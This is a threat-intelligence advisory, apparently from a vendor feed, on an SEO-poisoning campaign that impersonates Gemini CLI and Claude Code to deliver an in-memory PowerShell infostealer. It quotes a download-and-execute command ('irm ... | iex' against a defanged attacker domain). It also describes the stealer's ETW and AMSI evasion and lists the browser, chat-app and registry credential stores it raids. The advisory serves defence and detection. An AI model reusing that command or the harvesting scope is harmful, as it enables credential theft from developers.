SEO Poisoning Campaign Impersonates Gemini CLI and Claude Code to Deliver In-Memory PowerShell Infostealer (EclecticIQ) — Threadlinqs Intelligence
As of 2026-05-30, SEO Poisoning Campaign Impersonates Gemini CLI and Claude Code to Deliver In-Memory PowerShell Infostealer (EclecticIQ) is a high-severity campaign threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 69 indicators of compromise.
Threat ID: TL-2026-0546 · Severity: HIGH · Status: ACTIVE · Category: CAMPAIGN
EclecticIQ analysts identified an ongoing financially motivated eCrime campaign that uses SEO poisoning to surface typosquatted domains impersonating Gemini CLI, Claude Code, Node.js, Chocolatey,
EclecticIQ Threat Research published an analysis on 2026-05-21 of an ongoing infostealer campaign first observed in early March 2026 that targets enterprise developer workstations by impersonating AI coding assistants and developer tooling. The campaign was originally surfaced by independent researcher @g0njxa, who flagged a Windows malware deployment impersonating Google's Gemini CLI. EclecticIQ analysts subsequently pivoted on passive DNS and infrastructure overlaps to map a wider cluster of more than 30 typosquatted domains operated by what they assess with medium-to-high confidence is a single financially motivated threat actor.
Initial Access: The infection chain begins with a Google search by a developer looking for the official Gemini CLI or Claude Code installation page. The operator uses search-engine optimization poisoning (MITRE T1608.006) to promote a fake domain such as geminicli[.]co[.]com or claudecode[.]co[.]com above the legitimate vendor result. The fake page is a visually faithful clone of the genuine installation guide and prompts the visitor to paste a single PowerShell one-liner into a terminal. This 'paste-and-execute' (ClickFix-adjacent) lure is tuned to the workflow developers and IT administrators already use when installing CLI tooling from package-manager pages.
First-stage downloader: The PowerShell embedded on the fake page performs two simultaneous actions. (1) It instantiates a Shell.Application COM object and calls ShellExecute with window style 0 to spawn a hidden PowerShell window, which runs 'irm events[.]msft23[.]com | iex' (Invoke-RestMethod piped to Invoke-Expression) to fetch and execute the second-stage payload entirely in memory. (2) In parallel the same script invokes 'npm install -g @google/gemini-cli', which installs the real Gemini CLI from the official Google npm registry so the victim sees a successful, legitimate install in their terminal. The benign install is the visible decoy while the in-memory stealer runs to completion.
Second-stage infostealer: Once executed in memory, the second stage immediately patches PSEtwLogProvider.m_enabled to disable PowerShell ETW telemetry (T1562.006) and performs an in-process AMSI bypass (T1562.001), eliminating the two primary Windows host-based telemetry pipelines for script content. The payload is heavily obfuscated with roughly 6,800 lines of junk-branch code and includes a 'qemu-ga' string check as an anti-sandbox gate (T1497.001). The script then loads three embedded C# helper types at runtime via Add-Type: CredHelper (P/Invokes advapi32!CredEnumerate against Windows Credential Manager), User32 (calls EnumDisplaySettings to fingerprint display and detect VMs), and Rstrtmgr (uses the Restart Manager API in rstrtmgr.dll to enumerate processes without calling the monitored Get-Process cmdlet).
Collection scope: The stealer iterates browser profiles for Chrome, Edge, Brave, and Firefox, extracting login credentials, session cookies, autofill, and form history. It targets enterprise collaboration platforms (Slack Local State key and Network cookies, Microsoft Teams EBWebView DPAPI-protected cookies, Discord Local Storage LevelDB plus Local State, Mattermost cookies, Telegram Desktop tdata, Zoom DPAPI-protected win_osencrypt_key, LiveChat, Notion, Zoho Mail Desktop, Evernote). It dumps remote-access secrets (WinSCP saved sessions from HKCU:\SOFTWARE\Martin Prikryl\WinSCP 2\, PuTTY sessions from HKCU:\Software\SimonTatham\PuTTY\Sessions, OpenVPN configs and DPAPI-protected GUI login data), cryptocurrency wallets (Brave Wallet, Spectre), Steam installation data, and enumerates cloud-synced directories (Proton Drive, iCloud Drive, Google Drive, MEGA, OneDrive). It also recursively lists .txt and .docx files under Desktop, Documents, and Downloads, captures the desktop wallpaper via TranscodedWallpaper, and pulls OS version, installed software, network adapter configuration, and running process inventory via WMI and the Restart Manager API.
Target sectors: technology, software-development, financial, government, professional-services, healthcare, education, msp-managed-services
Target regions: North America, United States, United Kingdom, Europe
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 69 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
CAMPAIGN, HIGH, threat intelligence, cybersecurity, T1189, T1608.006, T1583.001, T1583.004, T1059.001, T1204.001, T1204.002, T1559.001, T1027, T1140